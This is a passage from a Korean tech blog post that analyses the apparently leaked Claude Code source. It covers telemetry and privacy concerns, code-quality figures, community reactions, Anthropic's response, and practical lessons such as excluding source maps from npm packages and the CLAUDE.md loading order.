&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;이것이 의미하는 바: Anthropic은 단순히 최고의 모델을 만드는 것을 넘어, 자사 기술이 경쟁사에 흡수되는 것을 코드 레벨에서 적극적으로 방어하고 있다. 이는 AI 산업에서 지식재산권 방어 전략이 얼마나 세밀해졌는지를 보여준다.&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;③ 감정 분석: 정규식 vs LLM&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스에는 사용자 불만 감지를 위한 정규식 기반 감정 분석 코드가 있다. 욕설, &quot;continue&quot; 반복 패턴, 좌절 신호를 감지해 Datadog으로 전송한다. 이 설계 선택이 HN에서 뜨거운 토론을 낳았다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;질문&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;답변&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;왜 LLM 대신 정규식?&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;속도, 결정론, 비용 효율성 &amp;mdash; 모든 요청에 추가 LLM 호출은 과잉&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;정확도는?&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;공식 수치 없음 &amp;mdash; 정규식 기반이므로 LLM 대비 정밀도가 낮을 것으로 추정되나, 로깅 목적으로는 충분한 수준으로 보인다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;오탐(false positive) 방지?&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;단어 경계(&lt;code&gt;\b&lt;/code&gt;) 사용 &amp;mdash; &quot;offset&quot;에서 &quot;ffs&quot; 오탐 방지&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;!-- 섹션 7 추가 — 코드 품질 &amp; 텔레메트리 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;④ 코드 품질 위기: 테스트 없는 64,464줄&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1914&quot; data-origin-height=&quot;1102&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bc3mpC/dJMcagyb6zy/1Snh1EKikW7rEhQMvKdiN1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bc3mpC/dJMcagyb6zy/1Snh1EKikW7rEhQMvKdiN1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bc3mpC/dJMcagyb6zy/1Snh1EKikW7rEhQMvKdiN1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbc3mpC%2FdJMcagyb6zy%2F1Snh1EKikW7rEhQMvKdiN1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1914&quot; height=&quot;1102&quot; data-origin-width=&quot;1914&quot; data-origin-height=&quot;1102&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;aldegad.github.io 분석팀(Rumi, Sami)이 1,892개 TypeScript/TSX 파일을 전수 조사한 결과, 심각한 기술 부채가 드러났다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://aldegad.github.io/claude-code-analysis/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;aldegad.github.io/claude-code-analysis, 2026-03-31&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; border-radius: 8px; padding: 16px 20px; margin: 15px 0;&quot;&gt;&lt;b&gt;  테스트 파일 0개&lt;/b&gt;&lt;br /&gt;&lt;code&gt;src/&lt;/code&gt; 디렉터리 내 테스트 파일이 전혀 없다. &lt;code&gt;NODE_ENV === 'test'&lt;/code&gt; 가드와 &lt;code&gt;TestingPermissionTool&lt;/code&gt;이 소스에 존재하는 것으로 보아 테스트는 별도 비공개 레포에 있는 것으로 추정되지만, 유출 범위에는 포함되지 않았다. [ESTIMATE]&lt;/div&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;이슈&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;수치 (aldegad 분석)&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;위험&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;빈 catch 블록 (bare catch)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;666개 &amp;mdash; 전체 예외 핸들러의 46.7%&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;analytics, 보안 정책, OAuth 오류 무시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;Type assertion (&lt;code&gt;as X&lt;/code&gt;)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;6,656개&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;TypeScript 타입 안전성 우회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;Non-null assertion (&lt;code&gt;!&lt;/code&gt;)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;310개&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;런타임 크래시 위험&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;noExplicitAny&lt;/code&gt; 비활성화&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;tsconfig에서 비활성&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;타입 보증 전반 약화&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;초대형 파일 Top 5:&lt;/b&gt; &lt;code&gt;print.ts&lt;/code&gt; 5,594줄 (3,167줄 단일 함수, 486개 분기점 &amp;mdash; CLI 포매팅 + SDK 프로토콜 + 리모트 컨트롤 전담), &lt;code&gt;messages.ts&lt;/code&gt; 5,513줄, &lt;code&gt;sessionStorage.ts&lt;/code&gt; 5,106줄, &lt;code&gt;hooks.ts&lt;/code&gt; 5,023줄, &lt;code&gt;REPL.tsx&lt;/code&gt; 5,006줄 (80+ imports). (출처: aldegad 분석, DEV.to)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;한 줄 요약: 프로덕션 AI 도구가 &quot;바이브 코딩 방식으로, 이해 없이 프롬프트 먼저&quot; 개발됐다는 커뮤니티 분석이 나오는 배경이다. 속도와 품질 사이의 트레이드오프가 코드 전체에 각인되어 있다.&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;⑤ 텔레메트리 심층 분석: 1,000개 이상의 이벤트와 이메일 전송&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;커뮤니티에서 가장 프라이버시 우려를 불러일으킨 부분이다. (출처: &lt;a href=&quot;https://aldegad.github.io/claude-code-analysis/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;aldegad 분석&lt;/a&gt;, &lt;a href=&quot;https://www.ccleaks.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;ccleaks.com&lt;/a&gt;, Marco Kotrotsos 텔레메트리 분석)&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;1,000개 이상의 이벤트 유형&lt;/b&gt; &amp;mdash; 도구 허용/거부 결정, YOLO 자동 권한 분류, 세션 성능, 구독 티어, 환경 핑거프린팅, 불만 신호(욕설 감지, &quot;continue&quot; 반복 패턴) 포함&lt;/li&gt;
&lt;li&gt;&lt;b&gt;사용자 이메일 OAuth 속성 전송&lt;/b&gt; &amp;mdash; &lt;code&gt;user.email&lt;/code&gt;이 해싱 없이 Datadog 텔레메트리 속성에 포함됨 (Marco Kotrotsos 문서 확인; [WARNING] 해싱 여부는 전송 레이어에서 추가 처리될 수 있으나 소스상 확인 불가)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;code&gt;tengu_frond_boric&lt;/code&gt;&lt;/b&gt; &amp;mdash; 의도적으로 난독화된 텔레메트리 킬 스위치. 소스 내 주석에 &lt;code&gt;&quot;Mangled name&quot;&lt;/code&gt;이라고 명시되어 있다. 이 플래그를 찾기 어렵게 만든 이유는 공식적으로 설명되지 않았다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;GrowthBook 런타임 게이팅&lt;/b&gt; &amp;mdash; &lt;code&gt;tengu_*&lt;/code&gt; 접두사 플래그들이 매 시간 &lt;code&gt;/api/claude_code/settings&lt;/code&gt;를 폴링해, 사용자 동의 없이 런타임에서 동작 변경 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 16px 20px; border-radius: 10px; border-left: 5px solid #ffc107; margin: 20px 0;&quot;&gt;&lt;b&gt;⚠️ Fast Mode 가격 차이: 동일 모델, 6배 프리미엄&lt;/b&gt;&lt;br /&gt;Fast Mode는 표준 Claude Code와 &lt;b&gt;동일한 Opus 4.6 모델&lt;/b&gt;을 사용하면서 6배 높은 요금을 부과한다: Opus 4.6 입력 $30/M(Fast) vs $5/M(표준). 소스에서 내부명 &lt;b&gt;&quot;Penguin Mode&quot;&lt;/b&gt;로 확인됨. 이 가격 차이의 기술적 근거에 대한 공식 설명은 없다. (출처: ccleaks.com; [WARNING] 요금은 변동 가능, 공식 페이지에서 확인 권장)&lt;/div&gt;
&lt;!-- 섹션 8 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 커뮤니티 반응과 논쟁 포인트&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;출처&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;반응 요약&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://news.ycombinator.com/item?id=47584540&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hacker News&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&quot;They forgot to add 'make no mistakes' to the system prompt&quot; &amp;mdash; 기술적 감탄과 조롱이 섞인 반응. 가장 많은 논쟁은 정규식 감정 분석과 Undercover Mode.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://github.com/Kuberwastaken/claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub (Kuberwastaken)&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;발견 수 시간 만에 1,100+ Stars, 1,900+ Forks. 조직적인 이슈 스팸(강제 삭제 시도 의심)도 발생. (2026-03-31 기준)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://www.mintlify.com/VineeTagarwaL-code/claude-code/introduction&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Mintlify 분석 문서&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;당일 공개. 아키텍처부터 메모리 처리까지 핵심 동작 원리를 낱낱이 정리한 독립 문서.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;한국 커뮤니티&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&quot;AGI의 비밀이 80만 줄의 TypeScript 조건문이었다&quot;는 농담이 퍼짐. 개발자들의 속도에 감탄하는 반응 다수.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;중국 개발자 커뮤니티 (X)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;Chaofan Shou(&lt;a href=&quot;https://x.com/Fried_rice/status/2038894956459290963&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@Fried_rice&lt;/a&gt;), 陈成(@chenchengpro) 등이 기술 분석을 빠르게 전파. 소스코드 직접 분석 내용 공유.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;이 반응들이 보여주는 것은: &quot;정보가 공개되는 순간, 커뮤니티는 당사자보다 더 빠르게 그것을 이해한다&quot;는 현상이다. Anthropic이 소스맵을 제거한 것은 이미 늦었다. 분산된 집단 지성은 몇 시간 만에 512,000줄을 교과서로 바꿔버렸다.&lt;/i&gt;&lt;/p&gt;
&lt;!-- 섹션 9 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. Anthropic의 대응과 법적 맥락&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Anthropic은 공개적인 성명을 내지 않았다. 다만 다음 조치를 취했다:&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;npm 패키지 업데이트로 소스맵 파일 제거&lt;/li&gt;
&lt;li&gt;이전 버전(v2.1.88 등) npm 레지스트리에서 삭제&lt;/li&gt;
&lt;li&gt;그러나 GitHub 아카이브 저장소 3개 이상 이미 존재&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 유출과 시기적으로 겹치는 법적 맥락도 있다. Anthropic은 2026년 3월 OpenCode를 상대로 무단 API 접근을 이유로 법적 요청(cease-and-desist)을 보냈고, 제3자 클라이언트 사용을 금지하는 서비스 약관을 업데이트했다. (출처: &lt;a href=&quot;https://theagenttimes.com/articles/anthropic-forces-opencode-to-strip-claude-integration-after--96edcc05&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;The Agent Times&lt;/a&gt;) 이는 코드 비밀보다 &lt;b&gt;서버 사이드 가치 보호&lt;/b&gt;에 집중하는 전략을 반영한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 16px 20px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;전략적 함의&lt;/b&gt;&lt;br /&gt;Anthropic의 실질적 해자(moat)는 코드가 아니라 모델이다. CLI 소스코드가 공개됐다고 해서 Claude 모델 자체를 복제할 수는 없다. 그럼에도 이 사건이 불편한 이유는, 경쟁사 방어 로직(ANTI_DISTILLATION)이나 내부 운영 방식(Undercover Mode)까지 공개됐다는 점이다.&lt;/div&gt;
&lt;!-- 섹션 9 추가 — Mythos 유출 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;더 큰 맥락: 같은 주에 또 다른 유출 &amp;mdash; Claude Mythos&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스맵 유출(3월 31일)이 터지기 &lt;b&gt;5일 전&lt;/b&gt;, Anthropic은 별도의 유출 사고를 이미 겪은 상태였다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; border-radius: 8px; padding: 16px 20px; margin: 15px 0;&quot;&gt;&lt;b&gt;사건 (2026-03-26): Claude Mythos 유출&lt;/b&gt;&lt;br /&gt;내부 블로그 초안이 담긴 데이터 캐시의 &lt;b&gt;CMS 설정 오류&lt;/b&gt;로 인해 공개 접근 가능한 상태가 됐다. Fortune이 단독 보도했고, Anthropic은 &lt;b&gt;&quot;인적 오류(human error)&quot;&lt;/b&gt;임을 인정했다. &lt;br /&gt;(출처: &lt;a href=&quot;https://fortune.com/2026/03/26/anthropic-says-testing-mythos-powerful-new-ai-model-after-data-leak-reveals-its-existence-step-change-in-capabilities/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Fortune, 2026-03-26&lt;/a&gt;)&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공개된 내용:&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;모델명&lt;/b&gt;: Claude Mythos &amp;mdash; 내부 코드명 &lt;b&gt;&quot;Capybara&quot;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;포지셔닝&lt;/b&gt;: &quot;Opus보다 크고 더 지능적인 새 모델 티어&quot; &amp;mdash; Anthropic 초안 원문&lt;/li&gt;
&lt;li&gt;&lt;b&gt;성능&lt;/b&gt;: 코딩, 학문적 추론, 사이버보안 등에서 Claude Opus 4.6 대비 극적 향상&lt;/li&gt;
&lt;li&gt;&lt;b&gt;위험 경고&lt;/b&gt;: Anthropic 내부 문서 기준 &quot;전례 없는 사이버보안 위험(unprecedented cybersecurity risks)&quot; &amp;mdash; 대규모 사이버 공격 가능성 증가 경고 포함&lt;/li&gt;
&lt;li&gt;&lt;b&gt;출시 상태&lt;/b&gt;: 소규모 얼리 액세스 고객 대상 테스트 중 (2026-03-26 기준)&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 16px 20px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;연결고리: 소스맵 유출과 Mythos의 교차점&lt;/b&gt;&lt;br /&gt;소스맵 유출 코드에서 발견된 &lt;code&gt;capybara&lt;/code&gt;, &lt;code&gt;capybara-fast&lt;/code&gt;, &lt;code&gt;capybara-fast[1m]&lt;/code&gt; 모델명이 바로 이 Mythos의 코드명이다. 즉 소스코드에는 이미 다음 세대 모델의 흔적이 내장돼 있었다. 두 유출 사건은 각각 독립적인 설정 실수였지만, 결과적으로 같은 모델의 존재를 서로 다른 경로로 확인시켜 줬다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;한 주 안에 두 번의 &quot;인적 오류&quot; &amp;mdash; 하나는 CMS 설정, 하나는 npm 빌드 설정. IPO를 준비 중인 기업에서 발생한 이 패턴은, 보안 거버넌스와 빌드 파이프라인 검토 체계에 대한 질문을 남긴다.&lt;/i&gt;&lt;/p&gt;
&lt;!-- 섹션 10 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 개발자가 알아야 할 인사이트&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 유출에서 AI 에이전트를 개발하는 사람이라면 주목해야 할 설계 결정들이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;1. 권한 시스템은 세밀해야 한다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code는 단순히 &quot;허용/거부&quot;가 아니라 LOW/MEDIUM/HIGH 위험도 분류 + ML 기반 자동 승인(YOLO Classifier) + 사용자 설명 생성 등 다층 구조를 갖는다. 에이전트가 실제로 사용되려면 이 수준의 세밀함이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;2. 터미널 UI에도 React가 답이 될 수 있다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;React + Ink 조합은 터미널에서도 컴포넌트 기반 상태 관리를 가능하게 한다. 복잡한 멀티에이전트 상태를 표시하는 CLI를 만들 때 이 스택은 충분히 검토할 가치가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;3. 모든 것에 LLM을 쓸 필요는 없다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;감정 분석은 정규식으로, 자동 승인은 ML 분류기로, UI는 React로. &quot;AI 제품&quot;이라도 핵심 외 부분에서는 적합한 도구를 선택하는 실용주의가 512,000줄 전체를 관통한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;4. npm 배포 시 소스맵 제거는 필수&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 사건의 직접적 교훈이다. &lt;code&gt;package.json&lt;/code&gt;의 &lt;code&gt;files&lt;/code&gt; 필드 또는 &lt;code&gt;.npmignore&lt;/code&gt;에서 반드시 &lt;code&gt;*.map&lt;/code&gt; 파일을 제외하라. Bun, esbuild, Webpack 등 모든 번들러에서 기본 생성되는 소스맵은 프로덕션 배포물에 포함되면 안 된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; margin: 15px 0; overflow-x: auto;&quot;&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;json&quot;&gt;&lt;code&gt;// package.json &amp;mdash; 소스맵 제외 예시
{
  &quot;files&quot;: [
    &quot;dist/**/*.js&quot;,    // &amp;larr; .map 명시 제외
    &quot;dist/**/*.d.ts&quot;,
    &quot;!dist/**/*.js.map&quot;  // &amp;larr; 또는 명시적 제외
  ]
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;!-- 섹션 10 추가 — CLAUDE.md &amp; system-reminder --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;5. CLAUDE.md 로딩 순서와 system-reminder 주입 맵&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1970&quot; data-origin-height=&quot;1072&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cF6RbR/dJMcaare9YW/Me0TfcpO5NiTkKWueh0O51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cF6RbR/dJMcaare9YW/Me0TfcpO5NiTkKWueh0O51/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cF6RbR/dJMcaare9YW/Me0TfcpO5NiTkKWueh0O51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcF6RbR%2FdJMcaare9YW%2FMe0TfcpO5NiTkKWueh0O51%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1970&quot; height=&quot;1072&quot; data-origin-width=&quot;1970&quot; data-origin-height=&quot;1072&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;소스에서 확인된 CLAUDE.md 우선순위 체계다. 번호가 클수록 높은 우선순위로 하위 규칙을 덮어쓴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://aldegad.github.io/claude-code-analysis/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;aldegad 분석, 2026-03-31&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; margin: 15px 0; overflow-x: auto;&quot;&gt;
&lt;pre class=&quot;reasonml&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;1. Managed Memory  /etc/claude-code/CLAUDE.md    &amp;larr; MDM/조직 정책
2. User Memory     ~/.claude/CLAUDE.md            &amp;larr; 전역 사용자 설정
3. Project Memory  (루트 &amp;rarr; CWD 경로 탐색):
     CLAUDE.md
     .claude/CLAUDE.md
     .claude/rules/*.md  &amp;larr; glob 패턴 기반 조건부 규칙
4. Local Memory    CLAUDE.local.md                &amp;larr; git에 커밋 안 됨

※ 숫자 클수록 높은 우선순위 (4가 1을 덮어씀)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;실전 포인트:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
